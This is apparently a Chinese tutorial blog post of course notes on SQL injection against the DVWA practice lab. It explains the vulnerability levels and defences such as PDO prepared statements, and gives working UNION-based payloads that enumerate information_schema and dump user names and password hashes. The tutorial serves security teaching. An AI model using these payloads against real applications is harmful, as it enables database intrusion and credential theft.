课程前言
白帽子黑客攻防系列课程第二季现已上线。
本课程仅做学习交流之用,切勿用于任何不法用途!
白帽子黑客攻防系列课程将会深入浅出讲解计算机网络基础、渗透靶场搭建、Kali Linux、系统漏洞、渗透工具(Nmap、Sqlmap、AWVS等)等的原理及实战内容。
第二季主要讲解DVWA黑客攻防演练等,配合讲解网络基础知识及Linux基础知识等。
知其然并知其所以然,相信通过学习,各位朋友对白帽子黑客攻防会有非常深刻理解。
梦想还是要有的,万一实现了呢!
网易云课堂地址:https://study.163.com/course/courseMain.htm?courseId=1209505841&share=2&shareId=480000001946405
本篇博文为SQL注入要点笔记,主要介绍黑客攻防中的SQL注入攻防技术。
SQL注入概述
指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如 select语句),或者根据不同的条件选择不同的查询表时,动态地构造SQL语句会非常有用。
回显注入:用户发起查询请求,服务器将查询结果返回到页面中进行显示,典型场景为查询某篇文章、查询某个用户信息等。重点在于服务器将用户的查询请求返回到页面上进行显示。
初级原理及实操
view source
查看phpmyadmin 用户名root 密码root
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1';”
or '1' = '1' 永真,所以所有都符合这个条件了,就会把所有数据都能出来了。
中级原理及实操
view source
mysql_real_escape_string会对这 5 个字符转义: ' " \r \n NULL Control-Z
用火狐浏览器设置 id=1 UNION ALL SELECT NULL, database()
SELECT first_name, last_name FROM users WHERE user_id = 1 UNION ALL SELECT NULL, database();
select database();显示当前数据库
UNION ALL
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。UNION ALL 命令和 UNION 命令几乎是等效的,不过 UNION ALL 命令会列出所有的值。
SQL Statement 1 UNION ALL SQL Statement 2
实例:列出在中国和美国的所有的雇员: SELECT E_Name FROM Employees_China UNION ALL SELECT E_Name FROM Employees_USA
高级原理及实操
view source
用LIMIT 1 限制了输出数据的长度。
limit子句用于限制查询结果返回的数量,常用于分页查询
select * from tableName limit i,n
# tableName:表名
# i:为查询结果的索引值(默认从0开始),当i=0时可省略i
# n:为查询结果返回的数量
# i与n之间使用英文逗号","隔开
# limit n 等同于 limit 0,n
例: # 查询10条数据,索引从0到9,第1条记录到第10条记录
select * from t_user limit 10;
select * from t_user limit 0,10;
# 查询8条数据,索引从5到12,第6条记录到第13条记录
select * from t_user limit 5,8;
实操输入1' or '1' = '1'#
神仙级原理
view source
anti-token 机制防 CSRF 攻击
s_numeric( $id ) 检查 id 是不是数字
使用 prepare 预编译再绑定变量a
PDO一是PHP数据对象(PHP Data Object)的缩写。使用语句预处理将帮助你免于SQL注入攻击。一条预处理语句是一条预编译的 SQL 语句,它可以使用多次,每次只需将数据传至服务器。其额外优势在于可以对使用占位符的数据进行安全处理,防止SQL注入攻击。
mysql注入入侵详解
在mysql5.0之后,默认有information_schema数据库,该数据库有三张表格一定要记住,分别是SCHEMATA、TABLES、COLUMNS。
SCHEMATA用户创建的所有数据库名。SCHEMA_NAME
TABLES用户创建的数据库的库名和表名。TABLE_SCHEMATE和TABLE_NAME
TABLES用户创建的数据库的库名和表名。TABLE_SCHEMATE和TABLE_NAME
COLUMNS用户创建的数据库的库名、表名、字段名。TABLE_SCHEMATE、TABLE_NAME和COLUMNS_NAME
低级$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
一、获取数据库版本
输入 ' UNION ALL SELECT NULL, database()#
即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT NULL, database()#';
二、获取当前数据库所有表格
输入 ' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() # group_concat()函数
将group by产生的同一个分组中的值连接起来,返回一个字符串结果
即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
三、获取表格的所有字段
输入 ' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' # 即 SELECT first_name, last_name FROM users WHERE user_id = '' UNION select NULL,COLUMN_NAME from information_schema.columns where table_name='users' #
四、获取用户及密码 输入 ' UNION select user_id,password from users#
输入 ' UNION select group_concat(first_name, last_name), group_concat(password) from users#
即 SELECT first_name, last_name FROM users WHERE user_id = ' UNION select group_concat(first_name, last_name), group_concat(password) from users#
五、**MD5加密
总结
神仙级原理
mysql相关知识点
手动入侵原理
sqlmap